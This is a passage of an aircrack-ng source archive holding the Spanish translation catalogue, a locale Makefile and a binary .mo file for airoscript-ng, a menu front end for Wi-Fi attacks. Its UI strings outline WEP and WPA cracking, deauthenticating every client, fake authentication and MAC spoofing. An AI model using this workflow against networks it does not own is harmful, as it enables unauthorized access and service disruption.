"WPA Cracking Options" msgstr "Opciones de crackeo wpa" #: src/functions/crack/main:42 msgid "Standard" msgstr "Standard" #: src/functions/crack/main:42 msgid "Use precomputed pmk database" msgstr "Base de datos precomputada pmk" #: src/functions/crack/main:46 msgid "Cracking with stdin entered data by $pipe" msgstr "Crackeando con datos de stdin por $pipe" #: src/functions/crack/main:47 msgid "Cracking WPA" msgstr "Crackeando WPA" #: src/functions/crack/main:52 msgid "Sorry, you cant crack wpa without a dictionary on $WORDLIST" msgstr "Lo siento, no puedes crackear wpa sin un diccionario en $WORDLIST" #: src/functions/crack/main:62 msgid "Enter Database location [$db_location]" msgstr "Introduzca la localizacion de la base de datos [$db_location]" #: src/functions/crack/main:64 msgid "Cracking WPA with pmk database" msgstr "Crackeando WPA con base de datos pmk" #: src/functions/crack/main:73 msgid "Network not encrypted or no network selected " msgstr "La red no esta encriptada o no ha seleccionado ninguna" #: src/functions/reporting:76 msgid "Enter format (CPG|CAPR) (CAPR by default): " msgstr "Introduzca formato (CPG|CAPR) (por defecto es CAPR)" #: src/functions/reporting:78 msgid "Generating graphics" msgstr "Generando graficos" #: src/functions/reporting:79 msgid "Do you want to launch a browser? [y|N] " msgstr "¿Quieres lanzar un navegador? [y|N]" #: src/functions/reporting:81 msgid "Error: You have to scan for targets first" msgstr "Error: Tienes que escanear objetivos antes" #: src/functions/attacks/wpa:28 msgid "${mark}${red}WPA attacks${end}\\n" msgstr "${mark}${red}Attaques WPA${end}\\n" #: src/functions/attacks/wpa:38 msgid "Select WPA Attack" msgstr "Selecciona ataque wpa" #: src/functions/attacks/wpa:38 msgid "Standard attack" msgstr "Ataque standard" #: src/functions/attacks/wpa:38 msgid "Standard attack with QoS (WMM)" msgstr "Ataque con QoS" #: src/functions/attacks/wpa:38 msgid "WPA migration mode" msgstr "Ataque de modo de migracion WPA" #: src/functions/attacks/wpa:56 msgid "Capturing data on channel: $Host_CHAN" msgstr "Capturando datos en el canal: $Host_CHAN" #: src/functions/attacks/wpa:66 msgid "Executing tkiptun-ng for ap $Host_MAC" msgstr "Ejecutando tkiptun-ng para el punto de acceso $Host_MAC" #: src/functions/attacks/others:22 msgid "Other aircrack-ng tools" msgstr "Otras herramientas de aircrack-ng" #: src/functions/attacks/others:22 msgid "Scanning" msgstr "Escaneando" #: src/functions/attacks/others:22 msgid "Injection" msgstr "Inyeccion" #: src/functions/attacks/others:22 msgid "Autentication" msgstr "Autenticacion" #: src/functions/attacks/others:22 msgid "Package manipulation" msgstr "Manipulacion de paquetes" #: src/functions/attacks/others:22 msgid "Create virtual interface with airtun-ng" msgstr "Crear interfaz virtual con airtun-ng" #: src/functions/attacks/others:22 msgid "Diagnostics and reports" msgstr "Diagnosticos e informes" #: src/functions/attacks/others:22 msgid "Auto crack wep with wesside-ng" msgstr "Auto crackear wep con wesside-ng" #: src/functions/attacks/others:41 msgid "Your hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue" msgstr "Tu fichero hccap esta en $DUMP_PATH/$Host_MAC-01.hccap. Pulsa enter para continuar" #: src/functions/attacks/others:88 msgid "Package manipulation tools" msgstr "Manipulacion de paquetes" #: src/functions/attacks/others:88 msgid "Merge all ivs from all sessions" msgstr "Unir todos los ivs de todas las sesiones" #: src/functions/attacks/others:88 msgid "Decrypt current packages" msgstr "Desencriptar paquetes actuales" #: src/functions/attacks/others:88 msgid "Decloack packages" msgstr "Decloack packages" #: src/functions/attacks/others:89 msgid "Generate hccap file for oclhashcat" msgstr "Generar archivo hccap para oclhashcat" #: src/functions/attacks/others:123 msgid "Select merged data as target? (y/N): " msgstr "Seleccionar datos unidos como objetivo? (y|N)" #: src/functions/attacks/others:123 msgid "y" msgstr "y" #: src/functions/attacks/others:131 msgid "Choose Wesside-ng Options" msgstr "Elije las opciones de wesside-ng" #: src/functions/attacks/others:131 msgid "No args" msgstr "Sin argumentos" #: src/functions/attacks/others:131 msgid "Selected target" msgstr "Objetivo seleccionado" #: src/functions/attacks/others:173 msgid "Show kstats report" msgstr "Informe de kstats" #: src/functions/attacks/others:173 msgid "Test injection" msgstr "Probar inyeccion" #: src/functions/attacks/others:173 msgid "Checks with airmon-ng" msgstr "Pruebas con airmon" #: src/functions/attacks/others:173 msgid "Create graphs" msgstr "Generar graficos" #: src/functions/attacks/others:173 msgid "Update airoscript report" msgstr "Actualizar informe de airoscript-ng" #: src/functions/attacks/others:206 msgid "Select another interface" msgstr "Cambiar interfaz" #: src/functions/attacks/others:206 msgid "Reset selected interface" msgstr "Resetear interfaz" #: src/functions/attacks/others:207 msgid "Change MAC of interface" msgstr "Cambiar MAC" #: src/functions/attacks/others:207 msgid "Enable monitor mode" msgstr "Activar modo monitor" #: src/functions/attacks/others:207 msgid "Change DUMP_PATH" msgstr "Cambiar DUMP_PATH" #: src/functions/attacks/others:208 msgid "Try to configure network" msgstr "Intentar autoconfiguracion de red" #: src/functions/attacks/others:225 msgid "Interface cleanup" msgstr "Limpieza de interfaz" #: src/functions/attacks/others:225 msgid "Normal cleanup" msgstr "Limpieza normal" #: src/functions/attacks/others:225 msgid "Reset driver" msgstr "Resetear driver" #: src/functions/attacks/others:225 msgid "Vmware fix for bt4" msgstr "Fix de vmware para bt4" #: src/functions/attacks/others:244 msgid "Enter new path: " msgstr "Introduzca path nuevo: " #: src/functions/attacks/others:245 msgid "Copy data into new folder? (y/N): " msgstr "Copiar datos en el directorio nuevo? (y|N)" #: src/functions/attacks/others:246 msgid "Erase old folder? (y/N): " msgstr "Borrar antiguo directorio? (y|N)" #: src/functions/attacks/others:253 msgid "Create virtual interface" msgstr "Crear interfaz virtual" #: src/functions/attacks/others:257 msgid "Select buddy IP" msgstr "Seleccionar buddy IP" #: src/functions/attacks/others:258 msgid "Choose ap mac " msgstr "Elegir mac del punto de acceso " #: src/functions/attacks/others:258 msgid "Choose source mac" msgstr "Elegir mac de origen " #: src/functions/attacks/others:258 msgid "Chosse Source IP" msgstr "Elegir ip de origen" #: src/functions/attacks/others:258 msgid "Choose router ip" msgstr "Elegir ip de router" #: src/functions/attacks/others:258 msgid "Execute" msgstr "Ejecutar" #: src/functions/attacks/others:258 msgid "Return" msgstr "Volver" #: src/functions/attacks/others:259 msgid "Anser: " msgstr "Respuesta: " #: src/functions/attacks/others:286 msgid "Do you want to use airserv-ng? [y/N] " msgstr "¿Quieres usar airserv-ng?" #: src/functions/attacks/others:288 msgid "Start a local server? [y/N] " msgstr "Usar un servidor local? [y|N]" #: src/functions/attacks/others:290 msgid "Enter airserv-ng address [127.0.0.1:666]" msgstr "Introduzca ip de airserv-ng [127.0.0.1:666]" #: src/functions/attacks/wep:34 msgid "${mark}${red}Wep attacks${end}\\n" msgstr "${mark}${red}Attaques WEP${end}\\n" #: src/functions/attacks/wep:48 msgid "Attacks using a client" msgstr "Usando un cliente" #: src/functions/attacks/wep:50 msgid "Fragmentation attack" msgstr "Ataque de fragmentacion" #: src/functions/attacks/wep:51 msgid "Chopchop attack" msgstr "Ataque chopchop" #: src/functions/attacks/wep:78 msgid "Enter destination mac: (FF:FF:FF:FF:FF:FF)" msgstr "Introduzca mac de destino (FF:FF:FF:FF:FF:FF)" #: src/functions/attacks/wep:87 msgid "Cafe Latte Attack on: $Host_SSID " msgstr "Ataque caffe latte en $Host_SSID" #: src/functions/attacks/wep:97 msgid "Interactive Packet Sel on: $Host_SSID" msgstr "Seleccion interactiva de paquetes en $Host_SSID" #: src/functions/attacks/wep:109 msgid "Fragmentation w/o client" msgstr "Fragmentacion sin cliente" #: src/functions/attacks/wep:126 msgid "Chopchoping at $Host_SSID" msgstr "Chopchopeando $Host_SSID" #: src/functions/attacks/wep:131 msgid "Directed ChopChoping to $Client_MAC at $Host_SSID" msgstr "Chopchop dirigido a $Client_MAC en $Host_SSID" #: src/functions/attacks/auth:18 msgid "Autentication menu" msgstr "Menu de autenticacion" #: src/functions/attacks/auth:18 msgid "Fake autentication" msgstr "Autenticacion falsa" #: src/functions/attacks/auth:18 msgid "Deautentication" msgstr "Desautenticacion" #: src/functions/attacks/auth:33 msgid "Who do you want to deauth?" msgstr "¿A quien quieres deautenticar?" #: src/functions/attacks/auth:33 msgid "Everybody" msgstr "A todos" #: src/functions/attacks/auth:33 msgid "Myself (fake mac)" msgstr "A mi mismo (mac falsa)" #: src/functions/attacks/auth:33 msgid "Selected client" msgstr "Cliente seleccionado" #: src/functions/attacks/auth:40 msgid "Deauth All" msgstr "Desautenticando a todos" #: src/functions/attacks/auth:41 msgid "Deauth client" msgstr "Desautenticando al cliente" #: src/functions/attacks/auth:42 msgid "Deautenticating" msgstr "Desautenticando" #: src/functions/attacks/auth:50 msgid "Fake Auth Method" msgstr "Metodo de autenticacion falsa" #: src/functions/attacks/auth:50 msgid "Conservative" msgstr "Conservador" #: src/functions/attacks/auth:50 msgid "Progressive" msgstr "Progresivo" #: src/functions/attacks/auth:50 msgid "Xor Injection" msgstr "Inyeccion XOR" #: src/functions/_internal:155 msgid "" " Airoscript is provided under the gpl.\n" "I'm not responsible of the use anyone can give to airoscript.\n" "Written for educational purpose in mind.\n" "" msgstr "" "Airoscript se provee bajo la GPL\n" "No soy responsable del uso que nadie pueda darle a airoscript\n" "Airoscript ha sido escrito con objetivo educativo\n" "" #: src/functions/_internal:180 msgid "Enter extra options to execute: " msgstr "Introduzca opciones extra" #: src/functions/_internal:205 msgid "Debug Mode enabled, you'll have to manually close windows" msgstr "Modo debug activado" #: src/functions/_internal:218 msgid "[INFO] Output folder is" msgstr "[INFO] El directorio de salida es " #: src/functions/_internal:221 msgid "[Error] Output folder does not exists or is a regular file." msgstr "[Error] El directorio de salida no existe o no es un directorio" aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/locale/es_ES.UTF-8/Makefile0000644000000000000000000000046012272366142024464 0ustar rootrootall: install localedir=/usr/local/share/locale/es_ES.UTF-8/LC_MESSAGES # FIXME build: @msgfmt airoscript-ng.po -o airoscript-ng.mo install: @mkdir -p $(localedir) @cp airoscript-ng.mo $(localedir) uninstall: @rm -f $(localedir)/`basename \`pwd\``/airoscript-ng.mo clean: @rm -f airoscript-ng.mo aircrack-ng-1.2-rc4/scripts/airoscript-ng/src/locale/airoscript-ng.mo0000644000000000000000000002705012104214160024330 0ustar rootrootÞ•–ÌÓ| È $X } ž |¿ <K^f} ”¢µÔ)ó!9%[’ª½ÅÔê$6F`q ‚"²Ê çô'E)b Œš'³Ûë û 9N`y1‘'Ã%ë3-a u&ƒ(ª3Ó* 2+S)ª%Ô ú%  2@ Q]n–"¯Òöæ Ý%ç 1 CMg‡-™ÇÏÞö&A X dqŠ‘¥´/½í1 AO%a‡–¦¶Å;Ø%.CSrž"·Úñ+Dat‰¢·Ê å"óM;d ¸Êß÷‘ù*‹!¶!ØzúuŒ £¯È Úè þ&/Fv “(´Ý ïû  % 8 Y y  £ ³ Ì à ö *!)-!W!w!$†!«!$Á!!æ!'"0"A"$X"}""ž"¶"Ñ"å"÷"#-.#$\##œ#?µ#õ# $=$+[$D‡$-Ì$ú$3%H% `%*%#¬%Ð%Ø%7á% &%&6&I&g&{&“&%­&Ó&[æ& B'/L'|'‘'¬'»' Ê'(ë'(6+(b(q(!(£(½(Ö(ï( ))():)A)Z) a)/l)'œ)Ä)Ú)ë)**-/* ]*k*€*–*¬*A¾*+++/+?+N+l+!}+&Ÿ+Æ+5ä+%,#@,d,ƒ,š,²,Â,Ú,ú, -((-RQ-?¤-"ä-. . .&.K‡Ab•&F+g<$=[*V8 IO3–46-)z’ 9P D€mlEHk>„ŠG%jSsM^f5/“'(Œ@ZcwLpr]‚!`2Xd#.‹ˆ~Cvh?"}a‰N0TBW†e”tƒŽ i{y…7\ R;Y1_:xUJuQo nq|‘, Airoscript is provided under the gpl. I'm not responsible of the use anyone can give to airoscript. Written for educational purpose in mind. ${mark}${red}Select a client${end}\n${mark}${red}WPA attacks${end}\n${mark}${red}Wep attacks${end}\nAccess control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continueAdvanced toolsAiroscript OptionsAnser: Attack - Attack targetAttacks using a clientAutenticationAutentication menuAuto crack wep with wesside-ngAutomatically setting fake macAutomatically setting resolution to $resoAutopwn- Automatic crackingCafe Latte Attack on: $Host_SSID Capturing data on channel: $Host_CHANChange DUMP_PATHChange MAC of interfaceChanged fake_mac :ChannelChannel HopingChecks with airmon-ngChoose Wesside-ng OptionsChoose ap mac Choose router ipChoose source macChopchop attackChopchoping at $Host_SSIDChosse Source IPClient SelectionConservativeCopy data into new folder? (y/N): Crack - Get target keyCrack with manual dictionaryCracking WPACracking WPA with pmk databaseCracking wep, KorekCracking wep, default optionsCracking wep, manual optionsCracking with stdin entered data by $pipeCreate graphsCreate virtual interfaceCreate virtual interface with airtun-ngDeautenticatingDeautenticationDeauth AllDeauth clientDebug Mode enabled, you'll have to manually close windowsDecloack packagesDecrypt current packagesDiagnostics and reportsDirected ChopChoping to $Client_MAC at $Host_SSIDDo you want to launch a browser? [y|N] Do you want to use airserv-ng? [y/N] ERROR: Wrong number enteredEnable dynamic mode (ask for client in each attack)Enable monitor modeEncription isEnter Database location [$db_location]Enter airserv-ng address [127.0.0.1:666]Enter channel (single, range, or comma-separated): Enter destination mac: (FF:FF:FF:FF:FF:FF)Enter extra options to execute: Enter format (CPG|CAPR) (CAPR by default): Enter new path: Erase old folder? (y/N): Error: You have to scan for targets firstError: You must select a target firstEverybodyExecuteExecuting tkiptun-ng for ap $Host_MACExit - QuitsExternal pluginsExtra toolsFake Auth MethodFake autenticationFragmentation attackFragmentation w/o clientGenerate hccap file for oclhashcatGenerating graphicsI cant find any good terminal, please set one on your conffile Your TERMINAL var contains no valid temrinal Your alternative against x-terminal-emulator contains no terminal Xterm can\'t be found on your system, Maybe not in /usr/bin?InjectionInteractive Packet Sel on: $Host_SSIDInterface cleanupInterface type isInterface used isMain MenuManually enter client MACMerge all ivs from all sessionsMyself (fake mac)Network not encrypted or no network selected No argsNormal cleanupOther aircrack-ng toolsOthers - Various utilitiesPackage manipulationPackage manipulation toolsPlease enter Host SSIDProgressiveReset driverReset selected interfaceReturnReturn to main menuReturn to menuScanningScanning for targets on channel $channel_numberSelect - Reselect targetSelect WPA AttackSelect another interfaceSelect buddy IPSelect clientSelect encryptionSelect merged data as target? (y/N): Select option:Selected clientSelected targetSet resolutionShow kstats reportSorry, you cant crack wpa without a dictionary on $WORDLISTSpecific ChannelStandardStandard aircrack-ngStandard attackStandard attack with QoS (WMM)Start a local server? [y/N] Test injectionTry to configure networkType encryption size (64,128...): Type in client mac nowUnknown resolution, try againUnknown response. Try againUpdate airoscript reportUse precomputed pmk databaseVmware fix for bt4WEP Cracking OptionsWEP/WPA Cracking OptionsWPA Cracking OptionsWPA migration modeWho do you want to deauth?Xor InjectionYou have no IVS, please scan firstYour hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue[Error] Output folder does not exists or is a regular file.[INFO] Output folder isaircrack-ng Korekaircrack-ng defaultsaircrack-ng interactiveyAiroscript se provee bajo la GPL No soy responsable del uso que nadie pueda darle a airoscript Airoscript ha sido escrito con objetivo educativo ${mark}${red}Seleccione un cliente${end}\n${mark}${red}Attaques WPA${end}\n${mark}${red}Attaques WEP${end}\nEl control de acceso a las X esta desactivado para root. Por favor, ejecuta 'xhost +' como tu usuario normal y pulsa enterHerramientas avanzadasOpciones de airoscriptRespuesta: Atacar - Atacar objetivoUsando un clienteAutenticacionMenu de autenticacionAuto crackear wep con wesside-ngConfigurando mac falsa automaticamenteConfigurando resolucion automaticamente a $resoAutopwn - Crackeo automaticoAtaque caffe latte en $Host_SSIDCapturando datos en el canal: $Host_CHANCambiar DUMP_PATHCambiar MACCambiada mac falsaCanalSalto de canalesPruebas con airmonElije las opciones de wesside-ngElegir mac del punto de acceso Elegir ip de routerElegir mac de origen Ataque chopchopChopchopeando $Host_SSIDElegir ip de origenSeleccion de clientesConservadorCopiar datos en el directorio nuevo? (y|N)Crackear - Crackear la clave del objetivoCrackear con diccionario manualCrackeando WPACrackeando WPA con base de datos pmkCrackeando wep, KorekCrackeando wep, opciones por defectoCrackeando wep, opciones manualesCrackeando con datos de stdin por $pipeGenerar graficosCrear interfaz virtualCrear interfaz virtual con airtun-ngDesautenticandoDesautenticacionDesautenticando a todosDesautenticando al clienteModo debug activadoDecloack packagesDesencriptar paquetes actualesDiagnosticos e informesChopchop dirigido a $Client_MAC en $Host_SSID¿Quieres lanzar un navegador? [y|N]¿Quieres usar airserv-ng?Error: Numero incorrectoActivar modo dinamico (preguntar por el cliente en cada ataque)Activar modo monitorLa encriptacion esIntroduzca la localizacion de la base de datos [$db_location]Introduzca ip de airserv-ng [127.0.0.1:666]Introduzca el canal (un solo canal, un rango, o separados por comas)Introduzca mac de destino (FF:FF:FF:FF:FF:FF)Introduzca opciones extraIntroduzca formato (CPG|CAPR) (por defecto es CAPR)Introduzca path nuevo: Borrar antiguo directorio? (y|N)Error: Tienes que escanear objetivos antesError: debe seleccionar un objetivoA todosEjecutarEjecutando tkiptun-ng para el punto de acceso $Host_MACExit - SalePlugins externosHerramientas extraMetodo de autenticacion falsaAutenticacion falsaAtaque de fragmentacionFragmentacion sin clienteGenerar archivo hccap para oclhashcatGenerando graficosNo puedo encontrar ningun terminal correcto, por favor, configure uno en airoscript-ng.confInyeccionSeleccion interactiva de paquetes en $Host_SSIDLimpieza de interfazEl tipo de la interfaz es La interfaz esMenu principalIntroducir mac de cliente a manoUnir todos los ivs de todas las sesionesA mi mismo (mac falsa)La red no esta encriptada o no ha seleccionado ningunaSin argumentosLimpieza normalOtras herramientas de aircrack-ngOtros - Utilidades variasManipulacion de paquetesManipulacion de paquetesPor favor, introduzca la SSIDProgresivoResetear driverResetear interfazVolverVolver al menu principalVolverEscaneandoEscanando objetivos en el canal $channel_numberSeleccionar - Seleccionar otro objetivoSelecciona ataque wpaCambiar interfazSeleccionar buddy IPSelecciona un clienteSeleccionar encriptacionSeleccionar datos unidos como objetivo? (y|N)Seleccionar: Cliente seleccionadoObjetivo seleccionadoConfigurar resolucionInforme de kstatsLo siento, no puedes crackear wpa sin un diccionario en $WORDLISTCanal especificoStandardAircrack-ng standardAtaque standardAtaque con QoSUsar un servidor local? [y|N]Probar inyeccionIntentar autoconfiguracion de redTamaño de la encriptacion (64,128...)Introduzca la mac del clienteResolucion desconocida, por favor, intentelo de nuevoRespuesta incorrecta, pruebe de nuevoActualizar informe de airoscript-ngBase de datos precomputada pmkFix de vmware para bt4Opciones de crackeo WEPCrackeo WEP/WPAOpciones de crackeo wpaAtaque de modo de migracion WPA¿A quien quieres deautenticar?Inyeccion XORNo tienes ivs, por favor escanea primeroTu fichero hccap esta en $DUMP_PATH/$Host_MAC-01.hccap. Pulsa enter para continuar[Error] El directorio de salida no existe o no es un directorio[INFO] El directorio de salida es KorekPor defectoInteractivasyaircrack-ng-1.2-rc4/scripts/airoscript-ng/src/locale/airoscript-ng.po0000644000000000000000000003720412104214160024335 0ustar rootroot#: src/plugins/mdk3:36 msgid "Unknown response. Try again" msgstr "Respuesta incorrecta, pruebe de nuevo" #: src/plugins/digenpy:45 msgid "Encription is" msgstr "La encriptacion es" #: src/plugins/digenpy:52 msgid "Error: You must select a target first" msgstr "Error: debe seleccionar un objetivo" #: src/functions/interface:38 msgid "Automatically setting resolution to $reso" msgstr "Configurando resolucion automaticamente a $reso" #: src/functions/interface:39 msgid "Access control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continue" msgstr "El control de acceso a las X esta desactivado para root. Por favor, ejecuta 'xhost +' como tu usuario normal y pulsa enter" #: src/functions/interface:41 msgid "Set resolution" msgstr "Configurar resolucion" #: src/functions/interface:43 msgid "Unknown resolution, try again" msgstr "Resolucion desconocida, por favor, intentelo de nuevo" #: src/functions/interface:100 msgid "Select option:" msgstr "Seleccionar: " #: src/functions/interface:125 msgid "" "I cant find any good terminal, please set one on your conffile\n" " Your TERMINAL var contains no valid temrinal\n" " Your alternative against x-terminal-emulator contains no terminal\n" " Xterm can\\'t be found on your system, Maybe not in /usr/bin?" msgstr "No puedo encontrar ningun terminal correcto, por favor, configure uno en airoscript-ng.conf" #: src/functions/menu:19 msgid "Main Menu" msgstr "Menu principal" #: src/functions/menu:19 msgid "Attack - Attack target" msgstr "Atacar - Atacar objetivo" #: src/functions/menu:19 msgid "Crack - Get target key" msgstr "Crackear - Crackear la clave del objetivo" #: src/functions/menu:19 msgid "Select - Reselect target" msgstr "Seleccionar - Seleccionar otro objetivo" #: src/functions/menu:19 msgid "Others - Various utilities" msgstr "Otros - Utilidades varias" #: src/functions/menu:19 msgid "Autopwn- Automatic cracking" msgstr "Autopwn - Crackeo automatico" #: src/functions/menu:19 msgid "Exit - Quits" msgstr "Exit - Sale" #: src/functions/menu:28 msgid "ERROR: Wrong number entered" msgstr "Error: Numero incorrecto" #: src/functions/menu:43 msgid "You have no IVS, please scan first" msgstr "No tienes ivs, por favor escanea primero" #: src/functions/menu:45 msgid "WEP/WPA Cracking Options" msgstr "Crackeo WEP/WPA" #: src/functions/menu:45 msgid "Crack with manual dictionary" msgstr "Crackear con diccionario manual" #: src/functions/menu:45 msgid "Standard aircrack-ng" msgstr "Aircrack-ng standard" #: src/functions/menu:45 msgid "Return to menu" msgstr "Volver" #: src/functions/menu:60 msgid "Select encryption" msgstr "Seleccionar encriptacion" #: src/functions/menu:60 msgid "Return to main menu" msgstr "Volver al menu principal" #: src/functions/menu:79 msgid "Channel" msgstr "Canal" #: src/functions/menu:79 msgid "Channel Hoping" msgstr "Salto de canales" #: src/functions/menu:79 msgid "Specific Channel" msgstr "Canal especifico" #: src/functions/menu:103 msgid "Extra tools" msgstr "Herramientas extra" #: src/functions/menu:103 msgid "Airoscript Options" msgstr "Opciones de airoscript" #: src/functions/menu:103 msgid "Advanced tools" msgstr "Herramientas avanzadas" #: src/functions/menu:103 msgid "External plugins" msgstr "Plugins externos" #: src/functions/internal/scansel:20 msgid "Enter channel (single, range, or comma-separated): " msgstr "Introduzca el canal (un solo canal, un rango, o separados por comas)" #: src/functions/internal/scansel:23 msgid "Scanning for targets on channel $channel_number" msgstr "Escanando objetivos en el canal $channel_number" #: src/functions/internal/scansel:29 msgid "${mark}${red}Select a client${end}\\n" msgstr "${mark}${red}Seleccione un cliente${end}\\n" #: src/functions/internal/scansel:37 msgid "Client Selection" msgstr "Seleccion de clientes" #: src/functions/internal/scansel:38 msgid "Select client" msgstr "Selecciona un cliente" #: src/functions/internal/scansel:39 msgid "Enable dynamic mode (ask for client in each attack)" msgstr "Activar modo dinamico (preguntar por el cliente en cada ataque)" #: src/functions/internal/scansel:40 msgid "Manually enter client MAC" msgstr "Introducir mac de cliente a mano" #: src/functions/internal/scansel:45 msgid "Type in client mac now" msgstr "Introduzca la mac del cliente" #: src/functions/internal/startup:219 msgid "Interface used is" msgstr "La interfaz es" #: src/functions/internal/startup:220 msgid "Interface type is" msgstr "El tipo de la interfaz es " #: src/functions/internal/startup:228 msgid "Please enter Host SSID" msgstr "Por favor, introduzca la SSID" #: src/functions/internal/startup:266 msgid "Changed fake_mac :" msgstr "Cambiada mac falsa" #: src/functions/internal/startup:269 msgid "Automatically setting fake mac" msgstr "Configurando mac falsa automaticamente" #: src/functions/crack/main:25 msgid "WEP Cracking Options" msgstr "Opciones de crackeo WEP" #: src/functions/crack/main:25 msgid "aircrack-ng defaults" msgstr "Por defecto" #: src/functions/crack/main:25 msgid "aircrack-ng Korek" msgstr "Korek" #: src/functions/crack/main:25 msgid "aircrack-ng interactive" msgstr "Interactivas" #: src/functions/crack/main:27 msgid "Cracking wep, default options" msgstr "Crackeando wep, opciones por defecto" #: src/functions/crack/main:28 msgid "Cracking wep, Korek" msgstr "Crackeando wep, Korek" #: src/functions/crack/main:30 msgid "Type encryption size (64,128...): " msgstr "Tamaño de la encriptacion (64,128...)" #: src/functions/crack/main:31 msgid "Cracking wep, manual options" msgstr "Crackeando wep, opciones manuales" #: src/functions/crack/main:42 msgid "WPA Cracking Options" msgstr "Opciones de crackeo wpa" #: src/functions/crack/main:42 msgid "Standard" msgstr "Standard" #: src/functions/crack/main:42 msgid "Use precomputed pmk database" msgstr "Base de datos precomputada pmk" #: src/functions/crack/main:46 msgid "Cracking with stdin entered data by $pipe" msgstr "Crackeando con datos de stdin por $pipe" #: src/functions/crack/main:47 msgid "Cracking WPA" msgstr "Crackeando WPA" #: src/functions/crack/main:52 msgid "Sorry, you cant crack wpa without a dictionary on $WORDLIST" msgstr "Lo siento, no puedes crackear wpa sin un diccionario en $WORDLIST" #: src/functions/crack/main:62 msgid "Enter Database location [$db_location]" msgstr "Introduzca la localizacion de la base de datos [$db_location]" #: src/functions/crack/main:64 msgid "Cracking WPA with pmk database" msgstr "Crackeando WPA con base de datos pmk" #: src/functions/crack/main:73 msgid "Network not encrypted or no network selected " msgstr "La red no esta encriptada o no ha seleccionado ninguna" #: src/functions/reporting:76 msgid "Enter format (CPG|CAPR) (CAPR by default): " msgstr "Introduzca formato (CPG|CAPR) (por defecto es CAPR)" #: src/functions/reporting:78 msgid "Generating graphics" msgstr "Generando graficos" #: src/functions/reporting:79 msgid "Do you want to launch a browser? [y|N] " msgstr "¿Quieres lanzar un navegador? [y|N]" #: src/functions/reporting:81 msgid "Error: You have to scan for targets first" msgstr "Error: Tienes que escanear objetivos antes" #: src/functions/attacks/wpa:28 msgid "${mark}${red}WPA attacks${end}\\n" msgstr "${mark}${red}Attaques WPA${end}\\n" #: src/functions/attacks/wpa:38 msgid "Select WPA Attack" msgstr "Selecciona ataque wpa" #: src/functions/attacks/wpa:38 msgid "Standard attack" msgstr "Ataque standard" #: src/functions/attacks/wpa:38 msgid "Standard attack with QoS (WMM)" msgstr "Ataque con QoS" #: src/functions/attacks/wpa:38 msgid "WPA migration mode" msgstr "Ataque de modo de migracion WPA" #: src/functions/attacks/wpa:56 msgid "Capturing data on channel: $Host_CHAN" msgstr "Capturando datos en el canal: $Host_CHAN" #: src/functions/attacks/wpa:66 msgid "Executing tkiptun-ng for ap $Host_MAC" msgstr "Ejecutando tkiptun-ng para el punto de acceso $Host_MAC" #: src/functions/attacks/others:22 msgid "Other aircrack-ng tools" msgstr "Otras herramientas de aircrack-ng" #: src/functions/attacks/others:22 msgid "Scanning" msgstr "Escaneando" #: src/functions/attacks/others:22 msgid "Injection" msgstr "Inyeccion" #: src/functions/attacks/others:22 msgid "Autentication" msgstr "Autenticacion" #: src/functions/attacks/others:22 msgid "Package manipulation" msgstr "Manipulacion de paquetes" #: src/functions/attacks/others:22 msgid "Create virtual interface with airtun-ng" msgstr "Crear interfaz virtual con airtun-ng" #: src/functions/attacks/others:22 msgid "Diagnostics and reports" msgstr "Diagnosticos e informes" #: src/functions/attacks/others:22 msgid "Auto crack wep with wesside-ng" msgstr "Auto crackear wep con wesside-ng" #: src/functions/attacks/others:41 msgid "Your hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue" msgstr "Tu fichero hccap esta en $DUMP_PATH/$Host_MAC-01.hccap. Pulsa enter para continuar" #: src/functions/attacks/others:88 msgid "Package manipulation tools" msgstr "Manipulacion de paquetes" #: src/functions/attacks/others:88 msgid "Merge all ivs from all sessions" msgstr "Unir todos los ivs de todas las sesiones" #: src/functions/attacks/others:88 msgid "Decrypt current packages" msgstr "Desencriptar paquetes actuales" #: src/functions/attacks/others:88 msgid "Decloack packages" msgstr "Decloack packages" #: src/functions/attacks/others:89 msgid "Generate hccap file for oclhashcat" msgstr "Generar archivo hccap para oclhashcat" #: src/functions/attacks/others:123 msgid "Select merged data as target? (y/N): " msgstr "Seleccionar datos unidos como objetivo? (y|N)" #: src/functions/attacks/others:123 msgid "y" msgstr "y" #: src/functions/attacks/others:131 msgid "Choose Wesside-ng Options" msgstr "Elije las opciones de wesside-ng" #: src/functions/attacks/others:131 msgid "No args" msgstr "Sin argumentos" #: src/functions/attacks/others:131 msgid "Selected target" msgstr "Objetivo seleccionado" #: src/functions/attacks/others:173 msgid "Show kstats report" msgstr "Informe de kstats" #: src/functions/attacks/others:173 msgid "Test injection" msgstr "Probar inyeccion" #: src/functions/attacks/others:173 msgid "Checks with airmon-ng" msgstr "Pruebas con airmon" #: src/functions/attacks/others:173 msgid "Create graphs" msgstr "Generar graficos" #: src/functions/attacks/others:173 msgid "Update airoscript report" msgstr "Actualizar informe de airoscript-ng" #: src/functions/attacks/others:206 msgid "Select another interface" msgstr "Cambiar interfaz" #: src/functions/attacks/others:206 msgid "Reset selected interface" msgstr "Resetear interfaz" #: src/functions/attacks/others:207 msgid "Change MAC of interface" msgstr "Cambiar MAC" #: src/functions/attacks/others:207 msgid "Enable monitor mode" msgstr "Activar modo monitor" #: src/functions/attacks/others:207 msgid "Change DUMP_PATH" msgstr "Cambiar DUMP_PATH" #: src/functions/attacks/others:208 msgid "Try to configure network" msgstr "Intentar autoconfiguracion de red" #: src/functions/attacks/others:225 msgid "Interface cleanup" msgstr "Limpieza de interfaz" #: src/functions/attacks/others:225 msgid "Normal cleanup" msgstr "Limpieza normal" #: src/functions/attacks/others:225 msgid "Reset driver" msgstr "Resetear driver" #: src/functions/attacks/others:225 msgid "Vmware fix for bt4" msgstr "Fix de vmware para bt4" #: src/functions/attacks/others:244 msgid "Enter new path: " msgstr "Introduzca path nuevo: " #: src/functions/attacks/others:245 msgid "Copy data into new folder? (y/N): " msgstr "Copiar datos en el directorio nuevo? (y|N)" #: src/functions/attacks/others:246 msgid "Erase old folder? (y/N): " msgstr "Borrar antiguo directorio? (y|N)" #: src/functions/attacks/others:253 msgid "Create virtual interface" msgstr "Crear interfaz virtual" #: src/functions/attacks/others:257 msgid "Select buddy IP" msgstr "Seleccionar buddy IP" #: src/functions/attacks/others:258 